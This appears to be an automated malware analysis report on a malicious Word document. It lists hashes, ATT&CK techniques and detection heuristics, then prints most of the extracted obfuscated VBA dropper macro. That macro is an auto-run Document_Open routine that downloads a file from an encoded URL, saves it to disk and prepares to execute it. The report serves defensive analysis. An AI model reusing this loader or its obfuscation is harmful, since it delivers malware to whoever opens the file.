Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d9ec2693a78c7de4…

MALICIOUS

Office (OLE)

184.5 KB Created: 2018-05-16 02:59:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: f58723c355c4540648033f8d8e1cb6b1 SHA-1: 29ac8d46b43ea03840dd5f48edfc1c0cf2d2f55c SHA-256: d9ec2693a78c7de4b39ab9587924ba1e33df4032baf315b75d68537cb345fdfe
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File Execution: Malicious File

The file contains a VBA macro with multiple critical heuristic firings indicating it's an obfuscated auto-exec loader designed to download and execute a second-stage payload. The macro uses CreateObject and Shell calls, and the ClamAV detection name 'Doc.Dropper.Emodldr' further supports this dropper functionality. No specific family could be identified due to heavy obfuscation.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (cIbxr), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            AKpryS = Vbitg.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set Vbitg = CreateObject(FfKiq("MqixcHrxoXs?oyfEtf.BXFMpL?HaTdTXPy"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set Vbitg = CreateObject(FfKiq("MqixcHrxoXs?oyfEtf.BXFMpL?HaTdTXPy"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44527 bytes
SHA-256: 99560089dfc5f607f2730be4bf1e8190c2a0b8ee40684f8f7e2353d3673bbdeb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
490 of 756 identifiers look randomly generated (e.g. 'RqMZFpFZLnkIVcjoxRGOiiUcAkePfVlsIUI') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function RoLaHL(tzSrZe As String, OQgIsi As Double, yZdbnDs As String, yemAsm As String) As String
    uBFEaW = Right("oFx[tWISwCPsWkp", 4)
    nSJBCG = Right("(JOM_gWY_P", 3)
    While WzIXlE < 326
        kdqPXzR = StrReverse("B.GoqW-bbUr.Y")
        kdqPXzR = RTrim("PImS]obvMniN#@PzKx")
        WzIXlE = WzIXlE + 3
    Wend

    ZDwXzy = UCase("nahr-hZkxqSv(lWA-^")
    xkNVhcdh = 829 + 1043 + 966
    nSJBCG = LTrim("_Sn-]Xo#Wa-#j")
    lbEgQQhO = StrReverse("BZ(#-^*OK?NXJker")
    For oPHmrh = 0 To 172
        FWRqO = Left("a#sM[oUTXsRj", 2)
        LLlMYri = UCase(" D&(*fRDdb[YlAEaHofX")
        LLlMYri = Left("VZqnJFVZzA", 5)
        YDITeKoT = 615 + 1233 + 1983
        YDITeKoT = 535 - 756 - 242
        LLlMYri = 497 - 768 - 749
        qpiAy = UCase("]L$!ji-FOaygcRGbeI")
        FWRqO = Right("LZSwlttpvkcd?!ARxP#", 4)
        uBFEaW = Left("Qt#YnaqnKxeR[RXSq", 5)
        xkNVhcdh = StrReverse(".nWVttJS?y?kT_VHP@")
    Next oPHmrh

    NEbvP = 1593 + 1907 + 433
    qpiAy = 888 + 1187 + 583
    lbEgQQhO = 602 - 1740 - 822
    LLlMYri = StrReverse("]MN%%Ak.LQhc")
    ZDwXzy = UCase("&v*IBJoo#r(aKY@A")
    qpiAy = UCase("DY*P[d!IluKtIBMPA^vN")
    kdqPXzR = 869 + 129 + 503
    xkNVhcdh = UCase("%)aDxYBfSLSGHP?l_")
    uBFEaW = Space(15)
    nSJBCG = 429 - 1461 - 776
    uBFEaW = StrReverse("eXfkvhcHQrZlENYKJbJK")
    ZDwXzy = Space(9)
    YDITeKoT = 624 + 458 + 232
    whFBhj = 1330 + 274 + 1868
    uBFEaW = RTrim("E%^ep)DpNie_SZih-t")
    whFBhj = Space(1)
    lbEgQQhO = Space(4)
    NEbvP = Space(5)
    uBFEaW = 1589 + 689 + 1661
    kdqPXzR = LTrim("&bNEOew$fXDfLy%D!%L")
    YDITeKoT = Space(18)
    uBFEaW = LTrim("vRYQ&a-wpx")
    FWRqO = 329 + 1980 + 372
    FWRqO = "Ofy^RmtNT*" + "k^SmIEgLWe#dBO" + "BVyzHTCUhYKQY"
    lbEgQQhO = UCase("Gmcmm!)tmTXu)")
    LLlMYri = Left("rY^puf@twJBSSSrR#", 4)
    RoLaHL = "SMeqRgtdxzUsTqLzYevIzSZujhOrGPgYGN"
End Function

Private Sub eDJpie(GteIfNi As Integer, fticZj As Double, UscDcm As Double, rzzEocH As Double)
    YDITeKoT = UCase("jEtx*bvElazrNd(yaIV")
    NEbvP = 110 + 1151 + 1386
    For KHyLvk = 0 To 343
        FWRqO = "]kt.%zP-OGb" + "d!sKrmrlK%kp[ckZR" + "AcaQX*#NRcxaf .(DUs"
        whFBhj = StrReverse("vzcb[)Gi).R!q")
    Next KHyLvk

    NEbvP = LTrim("[u%erIG@SXn#zv")
    nSJBCG = LTrim("u *^KidYMI)T_$Ab]J")
    lbEgQQhO = StrReverse("oflnEEwI]O")
    lbEgQQhO = "aV-EceQ_vEn]ZD" + "P*^*jkzfDn[P?L(Lj." + "Fe_lys-lsMwtu"
    lbEgQQhO = Space(11)
    NEbvP = RTrim("bBmM#WRZBySdVayADaM[")
    YDITeKoT = 1448 - 1815 - 1883
    xkNVhcdh = 740 - 1220 - 1312
    whFBhj = 364 - 271 - 412
    LLlMYri = Right("hQv.JzU)Vp_(", 5)
    ZDwXzy = LTrim("OJ%@)]#-DwlbWVtqip")
    ZDwXzy = Left("s$%xRwY?)H ", 2)
    nSJBCG = StrReverse("tG%[VgSJcrFDdaNxb")
    whFBhj = LTrim("jTj(LAl%#d?R?R?I")
    While jmOtfw < 155
        NEbvP = RTrim("LduFMrmaArM]crsCRQc")
        LLlMYri = UCase("nS*HCtnppt$")
        lbEgQQhO = StrReverse("ziO!]hr(%w")
        jmOtfw = jmOtfw + 2
    Wend

    While zbFeQI < 260
        xkNVhcdh = Space(1)
        qpiAy = "Ukp)$)dvYv$t" + "T_ldxastANJ$O" + "cG*o]KwY?U-Weu"
        NEbvP = Space(19)
        qpiAy = StrReverse("OBg?GZ ER_qBO")
        whFBhj = UCase("wRw]&ze&Nm$eQYoG-u")
        ZDwXzy = StrReverse("pixh).ubfuzb")
        kdqPXzR = "K-oEqFcvvWmS" + " fGKBHliNE" + "aRTpLfPnic"
        ZDwXzy = 1607 - 242 - 1925
        ZDwXzy = Space(20)
        whFBhj = Right(".xP].iDzgOpTMk[kGz", 2)
        zbFeQI = zbFeQI + 1
    Wend

    qpiAy = Space(19)
    YDITeKoT = Left("LhaYzTR_s-&b]x", 4)
    LLlMYri = " .^aTc@A.wxeu&*c" + "x#)fp[wAvj" + "YgvuPD-OdlF@%Tr"
    whFBhj = 473 - 251 - 1188
    nSJBCG = Right("zOGK(rgviS*md_i", 2)
    LLlMYri = 603 - 792 - 1793
    qpiAy = Space(5)
    For vGXbwI = 0 To 383
        qpiAy = "pNaZ(d YNCtRsb" + "!rk#vsMocd_BI" + "F?jh[zuD?IHtzG"
        YDITeKoT = StrReverse("B V jjushzkX-Vn]JN")
        ZDwXzy = RTrim("aS@B&.]Fa$unAl HiT")
        FWRqO = LTrim("?_sHFmoFOx)?)")
        FWRqO = RTrim("_(Z$S?mjAeyhk")
    Next vGXbwI

    kdqPXzR = RTrim("IQBMDXEURXTya$q$g^H")
    uBFEaW = Left("IPZlgoDzeqi!lC$", 3)
    kdqPXzR = Left("gQ@JmkfQBt-cen@", 2)
    nSJBCG = UCase("I( ]fJFnHCi")
    uBFEaW = UCase("M$D?nb PaKYt@Tk")
    YDITeKoT = 1482 - 538 - 468
    LLlMYri = Right("I-tQ_hkyEwrg]TADjx]]", 4)
    ZDwXzy = 776 - 925 - 603
    nSJBCG = UCase("rQ*bn@GXRMXQ%Su[^")
    qpiAy = Left("KwgAlcLV_VIGPtVGg", 4)
End Sub

Private Function UdjDZy(VjMjes As Boolean, lblpzt As Integer, cGZQUFY As String) As String
    uBFEaW = LTrim(" tXwKBEhFF@")
    FWRqO = Left(")%qN._jKSnRJ$uRRwNNg", 3)
    kdqPXzR = RTrim("xfieEpurIW")
    FWRqO = RTrim("q)rYxX@ciuLRSf![")
    While Bmtawe < 223
        YDITeKoT = UCase("IUKL%YkJocF")
        LLlMYri = Left("WZP*criIRBPOr@l", 4)
        kdqPXzR = LTrim("(Nsc-r(PI#eJ")
        NEbvP = UCase("?nss.#UUjptUFHihzJ")
        Bmtawe = Bmtawe + 1
    Wend

    For tMNBiR = 0 To 38
        FWRqO = LTrim("sxgcGcGgRicZ")
        LLlMYri = 984 - 1383 - 1665
        nSJBCG = LTrim("T]Q(ADt-A?Fzde*(_[J")
        nSJBCG = Right("$LSuseR[dgv*Gg@z$%", 3)
        LLlMYri = LTrim("RvXEUtBYv]S@zfhwTSot")
        nSJBCG = Left("H]^oWhUSfv)P&ZO&A%", 3)
        qpiAy = Left("NuWqUI&C%RzN-R_$Z", 4)
        FWRqO = Left("?YUw!MvSim_", 2)
        ZDwXzy = Space(19)
    Next tMNBiR

    whFBhj = 479 + 854 + 879
    qpiAy = StrReverse("YawEYq_&SzFV%sog]")
    NEbvP = Left("uhvw-vdznEvPFEZ", 4)
    xkNVhcdh = LTrim("zxxH@BngpfGp")
    YDITeKoT = LTrim("qapWX^Z)CXrw")
    ZDwXzy = LTrim("[Avvoo)bSoSlh&I)J")
    ZDwXzy = "HkH)Zf*jv&D]RosHb" + "zj%oflKKlXxN^#^cw^hz" + "pt_j?eVsTjxN&O"
    xkNVhcdh = 1132 + 874 + 953
    whFBhj = UCase("yOSmEGIGG*ej")
    While PjuEEx < 260
        ZDwXzy = UCase("f@pXW]Tj(*l]es&])ch")
        nSJBCG = "br.)&mo)?LS!q" + "hLrI(nD%[X# u" + "ENW*^rsYvByEkQl"
        xkNVhcdh = RTrim("mph%R]IX]?")
        uBFEaW = Left("UEgrBjRGNH", 3)
        kdqPXzR = StrReverse("Y&#qTORh@aOmC[")
        ZDwXzy = 218 + 629 + 316
        xkNVhcdh = " gr(&M jXFS.vj_ex" + "IoyyMckz nhG" + "njSjrDt&IXP"
        nSJBCG = StrReverse("OURQz[*JpJt$a&a]")
        ZDwXzy = LTrim(" fbwT&pEn#i)UWx*Muh")
        PjuEEx = PjuEEx + 1
    Wend

    FWRqO = "@[^*AKk%fNTPpwj" + "Vf@RB..xX@B&# v)bR*x" + "fU&xf(Yfsac$ %l"
    kdqPXzR = LTrim("owPPabV(oAT")
    whFBhj = UCase("xhF?BQtqpP**(h$$p)")
    qpiAy = UCase("xQtl_VS^%$yB]ywF?VX")
    NEbvP = 468 + 1473 + 1147
    ZDwXzy = 337 + 602 + 1440
    For xKspKD = 0 To 118
        LLlMYri = UCase("Z[ebGoPRgJ)")
        qpiAy = LTrim("Py)myWl-o?-Cov@kls")
        qpiAy = LTrim("$wxDrXQGoWlXes*C&(")
        NEbvP = 1425 - 468 - 324
        uBFEaW = 1003 - 838 - 1540
    Next xKspKD

    YDITeKoT = Space(16)
    While yvRjmm < 243
        lbEgQQhO = RTrim("#nHD*bdwGc")
        YDITeKoT = 1852 + 173 + 1893
        lbEgQQhO = Space(7)
        yvRjmm = yvRjmm + 2
    Wend

    YDITeKoT = UCase("*]-iT-EusACQz*$#uuA")
    xkNVhcdh = 146 + 1772 + 1320
    uBFEaW = UCase("dFI%uBkkrBUDN")
    xkNVhcdh = RTrim("OVaT]sVCiMQ")
    NEbvP = 266 - 1171 - 996
    While YwKsby < 388
        ZDwXzy = Space(8)
        LLlMYri = UCase("P-_YeSe^gzmZawqoy")
        YDITeKoT = "rzmeG-JrAfncrfy?NE$" + "^QoF#q--KLlp" + "^$dvIQyFC  )Yb"
        whFBhj = Right("!dSKrNNN_ocFQeg", 4)
        lbEgQQhO = LTrim("u%[WNoOqdyL")
        whFBhj = UCase("PE _s#L@UpVsfOT.AG")
        qpiAy = StrReverse("Pb f]s] qU")
        xkNVhcdh = " ruhX-%vhg" + "K juZUHmsLGQo" + "soR-p]&Viy&%_m@j[(N^"
        uBFEaW = UCase("W@Jt?El@js")
        nSJBCG = Right("_)pg$bf-B%", 3)
        YwKsby = YwKsby + 2
    Wend

    FWRqO = Right("uQ?w&SwtBanT-", 5)
    xkNVhcdh = Right(".ywIWhgIQLGNTGHGA-s", 4)
    FWRqO = UCase("vXULaBtSuEs.D-rATE")
    qpiAy = Right("]EwBWgf Z dHU$-)G[", 4)
    UdjDZy = "RqMZFpFZLnkIVcjoxRGOiiUcAkePfVlsIUI"
End Function

Private Sub Document_Open()
    Dim lVOcqbR As String
    While MHyYjE < 215
        kdqPXzR = 224 + 158 + 1484
        kdqPXzR = 1956 - 1736 - 828
        whFBhj = 1279 + 1076 + 1550
        whFBhj = UCase("HmnFlF^Dv!")
        xkNVhcdh = LTrim("a^yU)gtk)%)$S_x")
        NEbvP = 715 - 622 - 157
        xkNVhcdh = Right("]r(Sv%nL#&dzl", 4)
        uBFEaW = LTrim("V[IE)&jhd@)!AUjyc!Ac")
        whFBhj = "oaEwGgfRXLS-nf@Qp" + "U)Wyq.NN#OYCxQkmUTM" + "FjTnJrez$AipXbuR(EC"
        qpiAy = "IctffS M-mC[q$q)" + "VW(_hCKCDHuvu" + "wYMQefsiLKwC"
        MHyYjE = MHyYjE + 1
    Wend

    whFBhj = UCase("C?c(mju#[n")
    nSJBCG = StrReverse("Or_pjRreF&Tu")
    NEbvP = RTrim("umXhrXJM_IWMT[G")
    FWRqO = RTrim(" X)^f^QO%_xOW)xC")
    Dim chrAzl As String
    ZDwXzy = Left("ugiw$q^MgPCuj^gx", 2)
    YDITeKoT = "(#RtmqRGHIF&yFfBV[a^" + "#IzILlmEUwLHibjYmJ" + "$L)jEArtrZLRn]!"
    FWRqO = Right("wMKAs[LpkvV*tFJkE!.K", 2)
    While szJeuM < 337
        FWRqO = UCase("QgW&MdG@XPA")
        ZDwXzy = RTrim("vd$qokLgJIVCUdtR")
        LLlMYri = StrReverse("]@P^($.FjLJXcU%sf")
        uBFEaW = "trCsYX(sNg" + "b?oqFYs(MgZO_f$" + "gg-CLKP$(ajyH ]m!"
        NEbvP = StrReverse(" t_VyOB&F.jPC")
        YDITeKoT = "HYwNeh[ LHaeaGdTr#U" + "oQK.r#!U-#?OFu" + "!ERIQkz)aNzSs"
        YDITeKoT = Space(14)
        NEbvP = Left("Wcb[k-lxTk", 3)
        kdqPXzR = StrReverse("@W-xuXXw_bqO&mK%di")
        szJeuM = szJeuM + 3
    Wend

    qpiAy = Space(15)
    lVOcqbR = StrReverse("NeRx&eA.(MgHyEZi[NTykyL\z\(%npwmiewt_%N WL&LrDonRu.RT_occeHx*Eelul_e%hQSf,(lwlLd@.W2o3BlUlbeRhQs? )eKxneK.]2S3Vl*lHd?nouOri (cB/  ueWxleo.OdsmXc")
    whFBhj = "J%okCBqB(&pOyOkUhc." + "flwf]vwc%zxImpV%nTy" + "PHAL!*vG pL_"
    kdqPXzR = StrReverse("s^%P&PU-KUEc&?FXLO")
    nSJBCG = 982 - 1360 - 1478
    NEbvP = LTrim("BYddzpqE!KVXCqU#O")
    xkNVhcdh = RTrim("Dm VMgRLVee")
    chrAzl = StrReverse("wejxYeR._rTeQp%lEefha\Q\-%.pLmCeVt.%x (LBLwDQncu$RM_RcQeixLE lsl@eGhcSw,)l%lOd-.C2P3Clklpe#h(sG vetxze*.@2z3ilVlJdLnTuirD xcP/G GeHx-ev.td%mzc")
    For CsArwx = 0 To 372
        FWRqO = Right("rU]_ZG(GWsLoxXXtFq", 3)
        kdqPXzR = StrReverse("wic^Wc C^FTaoD[")
        NEbvP = UCase("%DGIzEPmPB@lzRPvH ")
        LLlMYri = Space(5)
    Next CsArwx

    NEbvP = Space(8)
    While LzQrzw < 341
        ZDwXzy = 493 + 506 + 370
        nSJBCG = LTrim("^@]vNdNfgv&!SN_@jqG")
        uBFEaW = Right(".Woimvk_[zM]P-fk[G_", 3)
        nSJBCG = Right("FV[SsJumk%lCR", 5)
        xkNVhcdh = RTrim("rj)HLNv]O)RFg")
        NEbvP = 987 - 832 - 429
        LzQrzw = LzQrzw + 1
    Wend

    FWRqO = UCase("j$*i^.uW^ykuKaD ")
    For doypsB = 0 To 264
        whFBhj = UCase(")F )PoKfhuI")
        nSJBCG = StrReverse("yDhxQqLl#pU$FLR")
        lbEgQQhO = Space(15)
        NEbvP = 1679 - 1463 - 1605
        nSJBCG = LTrim("$zSfDDbXMZLsqJP")
        kdqPXzR = 782 - 1286 - 1976
        ZDwXzy = "LwYpbOH*u?" + "q#dD.QHW*ASLq" + "HC j-l%hngakKmV*TFnM"
    Next doypsB

    FWRqO = RTrim("TPqly%fJhY?bwU")
    While cyggQV < 313
        lbEgQQhO = 1381 - 199 - 1221
        xkNVhcdh = "%qJHGUQQiFX$BcR" + "D [eo% ve.!*?x&#rAV" + "GIgFXzAd&qmRxVoaVE^."
        whFBhj = LTrim("uqXvgh_UL HhB%_v")
        nSJBCG = Space(16)
        FWRqO = Left("KZ@*ky-EPvug", 3)
        lbEgQQhO = StrReverse("tHyWaPsikqLixGQVp")
        kdqPXzR = StrReverse("efI_pCFWr_@sm](nL](")
        cyggQV = cyggQV + 1
    Wend

    NEbvP = Right("R[pPpk_!l)l?wQCSW", 4)
    qpiAy = 1516 - 337 - 559
    For lSUUCw = 0 To 39
        LLlMYri = StrReverse("*G@thQGRaXH")
        kdqPXzR = LTrim("-%r#j_i?tbX(WjC")
        FWRqO = UCase("$Bw^*M[#uo")
        uBFEaW = RTrim("j*j*U)z.tR!YA")
        LLlMYri = 1832 + 1481 + 1699
        LLlMYri = RTrim("cy)@_!wi# iBI.JIHI")
        YDITeKoT = 1537 + 1508 + 820
        nSJBCG = Right("^FAAScj% Xbpn]%%]sM", 5)
        whFBhj = 1878 - 109 - 1190
        FWRqO = StrReverse("A[Bz?gTOQfl!Uyyjr")
    Next lSUUCw

    Dim Vbitg, sBXdiwyD As Object
    NEbvP = "h]$s?vA[V_Cngthl" + "Sq($oDk$yrCWrOIybu" + "r! VHLrzsfn"
    nSJBCG = 1962 + 1799 + 1022
    While UdgVCl < 315
        LLlMYri = RTrim("Rq_ TACUP_ZR")
        lbEgQQhO = Left("T-Pl&AfGd[gcXP?AUi^c", 5)
        NEbvP = 423 + 1827 + 1654
        qpiAy = RTrim("qIE?VOLtPU]")
        FWRqO = "nOJl)&uoNBv%l" + "mUKOPxyVE.NXCoIQ" + "WJ_bSqhEXSaTOE"
        UdgVCl = UdgVCl + 2
    Wend

    xkNVhcdh = StrReverse("NhLE dhzXZ")
    uBFEaW = Left("_PW^aSXQeV", 2)
    Set Vbitg = CreateObject(FfKiq("MqixcHrxoXs?oyfEtf.BXFMpL?HaTdTXPy"))
    qpiAy = UCase("WgVftEds]tRs(k")
    FWRqO = "fglX)cHIK)" + "tmEl)FK-APG?!)mNrL" + "BIBUUzxmiqwaNlLEZZ"
    xkNVhcdh = StrReverse("VqbbRBhrA%wL.Z")
    xkNVhcdh = RTrim("FejkRMsfGig)ap.mvd")
    xguTg = FfKiq("hktGtUpi:$/!/!tghDeTlQo!k h*aUlRe?gMiSawn&.bcBoCm&/usto.ua.geHx#ey")
    lbEgQQhO = Left("kvWbmk(LtiH", 2)
    nSJBCG = RTrim("IykcT$j[*O^")
    ZDwXzy = RTrim(")u-XO_uFmG*LcIBtzf")
    YDITeKoT = "_nqHH#yo$H" + "CFG#?lCuw*V$vKYYfq" + "MwUNhejy*XgOrV"
    Vbitg.Open "GET", xguTg, False
    LLlMYri = StrReverse("HnlHrpi_rSq")
    nSJBCG = Right("jXyztjev!)to", 5)
    While SLGuyS < 65
        NEbvP = LTrim("M_hZdm%%Wsd^aH-mb$%")
        qpiAy = LTrim("wXtAU$_jEgW*jNyp")
        NEbvP = Space(3)
        qpiAy = LTrim("SoxMCY$I.P*y(")
        YDITeKoT = 217 + 1320 + 1099
        SLGuyS = SLGuyS + 1
    Wend

    whFBhj = Right("KlfCi(EKFKPN@(W", 2)
    Vbitg.send
    xkNVhcdh = Space(19)
    kdqPXzR = Left("-tXNdyEa $OrPWfcEd", 2)
    NEbvP = 920 + 1799 + 1099
    For aOwuge = 0 To 271
        xkNVhcdh = StrReverse("NRFrU@fI#PdaCqqXT#")
        uBFEaW = Right("@_q]NYK*UR", 3)
        YDITeKoT = StrReverse("P@HxuEadrJ*guB")
        kdqPXzR = RTrim("L$mqfsuJ?b)_&d_G")
        qpiAy = RTrim("CkgX%le-nd")
        nSJBCG = 1907 - 734 - 1454
        ZDwXzy = UCase("OJRbOz_e%Ch%MJLtpT")
        ZDwXzy = RTrim("OTPklTJfOc")
    Next aOwuge

    LLlMYri = Left("KR?yXjP^TEI^WWSqWMyI", 4)
    If Vbitg.Status = 201 - 1 Then
    YDITeKoT = Left("b#e)PZnyds", 5)
    FWRqO = UCase("N#bdpm)wPGs")
    For OoAbwE = 0 To 315
        LLlMYri = 204 - 1990 - 331
        kdqPXzR = RTrim("q[fFd.yj*R)")
        kdqPXzR = "]fy IXbk@QDNy" + "pBEN&ZfNht" + "ZBx(Y(iZ*lx"
        LLlMYri = Space(2)
        nSJBCG = "j)jsv $pu." + "@yxqor*[_^BG" + "&SS?NfvE^$!)u"
    Next OoAbwE

    lbEgQQhO = Space(10)
    nSJBCG = Space(7)
        Set sBXdiwyD = CreateObject(FfKiq("A)D!OlDFBs.ISqturfeiaEmP"))
    ZDwXzy = StrReverse("r]Sz ! nYqKRcu@!f)")
    While YKQMhB < 37
        qpiAy = UCase("d oUBg](Ir-wtUjmu(L")
        NEbvP = Right("C&DGQuSLx.UL@JaFp", 5)
        FWRqO = Right("N?*Z?aLGtM(prQple", 2)
        LLlMYri = 561 - 410 - 1258
        YKQMhB = YKQMhB + 3
    Wend

    While UVJYBm < 206
        YDITeKoT = UCase("UN#e*FbTGBShzII-V&_D")
        whFBhj = UCase("WhzW!zLZB.!D^#ilV!L")
        lbEgQQhO = Right("s_sWs*Oo(qCQ", 3)
        ZDwXzy = "[*mKzZ#^&J" + "EfWFF@!C[b" + "$^O)QUvs@TqlG!^hVsD$"
        qpiAy = 766 - 1424 - 1767
        uBFEaW = Left("zH[eZKrJ--CH", 2)
        qpiAy = Space(20)
        UVJYBm = UVJYBm + 3
    Wend

    FWRqO = LTrim("mh@LUy-rCUENEDl(ufh")
        sBXdiwyD.Open
    While wkRFLH < 379
        whFBhj = Left("GfeT.U_-DvbR^ncJQ", 3)
        lbEgQQhO = LTrim("pRvPanlubn_khnGX")
        FWRqO = RTrim("$?d(w] mWSi")
        kdqPXzR = Left("i?rl(oz!JPa#GL%MPaFY", 3)
        xkNVhcdh = UCase("MBHaPbwbiiu@w]WuiI?")
        qpiAy = "Q#XkUno.uj" + "UMOpa%@-gWe" + "f-a]ztrofSZUp"
        qpiAy = UCase("vmUxJBY?k!&PD^KU")
        LLlMYri = Space(10)
        kdqPXzR = Right("G#h(j^*iWd", 3)
        wkRFLH = wkRFLH + 2
    Wend

    NEbvP = Right("[I&vv*Qw@C[XiqPSIm", 4)
    NEbvP = "zp^z-w(N zY-bkZ(Fg" + "SkB]dwEpUY" + "X!t#A]pKtx"
    While swwUQv < 213
        LLlMYri = RTrim("bZwQPIIyqjfs(gZo ")
        ZDwXzy = 1167 + 1386 + 1757
        xkNVhcdh = Right("LR.nyGPr*E^z ", 2)
        lbEgQQhO = UCase("dXx@@q?Xao@o-")
        xkNVhcdh = 365 + 544 + 998
        kdqPXzR = LTrim("yh ?#PQITYFAFiPeRZJu")
        whFBhj = "zAPPufy.@Rs" + "kYDmlDEdGsBDyQTcz" + "avSQlbZGg[rpzj@.fKv"
        NEbvP = 1202 + 1004 + 516
        swwUQv = swwUQv + 3
    Wend

        sBXdiwyD.Type = 1
    While DyuNpO < 179
        kdqPXzR = ".OY^!]]%#YORdp^" + "ZNJJbRnZi!h$I" + "o#YRopTGz%@K$u@sY"
        NEbvP = LTrim("$DrpP])fcubcSn[)")
        lbEgQQhO = RTrim("fZ!KbuXxOo")
        qpiAy = RTrim("aT%sEL]^Y[#t[M.O")
        YDITeKoT = "a@ozVDcq[%VGY-OwYSwM" + "sNCYh^iULvg-iw?" + "KVkRq]BEgYtpV*"
        whFBhj = 1115 - 769 - 1238
        uBFEaW = LTrim("#HaG(O]BWGv*[VV)a$?[")
        LLlMYri = LTrim("?ZYjfDBQxd")
        uBFEaW = "lZ@kdCmkyWLR?" + "Pt^LtPqXaYwDvtujs#U" + "]WFV_a!pwx]N@.n"
        ZDwXzy = 1745 - 440 - 458
        DyuNpO = DyuNpO + 1
    Wend

    While TnDcTJ < 44
        kdqPXzR = "xN-.WyYf^$-R#%" + "F!okgkd#ii[b" + "gej_?.(IEJugw#stlp"
        ZDwXzy = 1040 - 253 - 1020
        whFBhj = StrReverse("!q-xNxKQEPWMO")
        qpiAy = 870 + 511 + 862
        xkNVhcdh = 878 + 1583 + 1242
        xkNVhcdh = "G DhFRWQnmM.*" + "hTSzZARp@kn kC" + "&n^owxA@UURQdZ*VU"
        LLlMYri = RTrim("-yvDXip!C*?")
        FWRqO = 1807 + 1626 + 278
        FWRqO = LTrim("N.ci[sYSs)XTNpaguHqc")
        TnDcTJ = TnDcTJ + 1
    Wend

    FWRqO = StrReverse("#F)hSlMMx[if)")
    FWRqO = Right("g_zLlzwizmj*Dk", 2)
    While lbWwJm < 181
        uBFEaW = 576 + 1444 + 1728
        uBFEaW = UCase("mMLBDaOvq_JBeOCX]VmO")
        FWRqO = StrReverse("AJlzBu)wsa]a FKi_V")
        qpiAy = UCase("rDZ_PNVki&Y")
        lbWwJm = lbWwJm + 1
    Wend

        AKpryS = Vbitg.responseBody
    ZDwXzy = Right("Hk?yfkf^o]PAFmxXKSVJ", 5)
    ZDwXzy = RTrim("ZxZDG%xO]hCokTL [@ds")
    For dOEiVY = 0 To 18
        FWRqO = " ?yFLYXXyqGCEtyY!" + "hds(!fSSMwvMN-o&OQzt" + "Dyqp*_ZbLBJ.i?Rs V"
        NEbvP = Left("B-c]oYj@uuIjW^PIb", 4)
        FWRqO = 1020 - 1445 - 415
        lbEgQQhO = StrReverse("Ps*beyrDHEpQT")
        LLlMYri = UCase("KRpkcVK$j-hp]nKfnW")
        NEbvP = Right("d-U!q))f.h?V ", 3)
        nSJBCG = 424 + 1579 + 395
    Next dOEiVY

    whFBhj = Left("#Eo.)ahB_j", 4)
    whFBhj = "#DkSZ]yXvAewf" + "nMHCDdI_iJ#V" + "TwbNgPqaJ$IsQstOS"
        sBXdiwyD.Write AKpryS
    xkNVhcdh = StrReverse("$w %KCTGInT@")
    whFBhj = Right(" K$?z&z?)EG?w@Sy", 5)
    nSJBCG = LTrim("Y&SjafG.Z&mffjRW^CAz")
    xkNVhcdh = Right("GG%zn*zjhE", 4)
        Dim oRLRlj As Object
    FWRqO = UCase("PbTuyXGe&@Kk[Y")
    LLlMYri = RTrim("%Z*ct]sNSaMn")
    LLlMYri = StrReverse("VfEe^ Xjsdm(i@V]*e")
    xkNVhcdh = UCase("QBt@#gM@!&-cZD*&")
    While HOPRGE < 284
        nSJBCG = Space(6)
        lbEgQQhO = 955 - 1582 - 764
        YDITeKoT = RTrim("#(y&)H*D*sVRBlW")
        HOPRGE = HOPRGE + 3
    Wend

        Set oRLRlj = CreateObject(FfKiq("smcSrciYpBt_i@nOgc.-fUiOl-e?sKynswt?ezmEovbUj%elczt?"))
    FWRqO = 1959 + 1960 + 429
    FWRqO = LTrim("MD@v?$&[^nNxQ(p-l]p")
    While iZjchs < 173
        YDITeKoT = Right("CNzxHtDSQu__kyyswj", 3)
        uBFEaW = 1859 - 473 - 1019
        xkNVhcdh = LTrim("^jx)AKXpwH)H")
        ZDwXzy = UCase("%A%W Cdn!U%l")
        iZjchs = iZjchs + 3
    Wend

    LLlMYri = Right("WhMiZcgloDzlj[$@de^", 5)
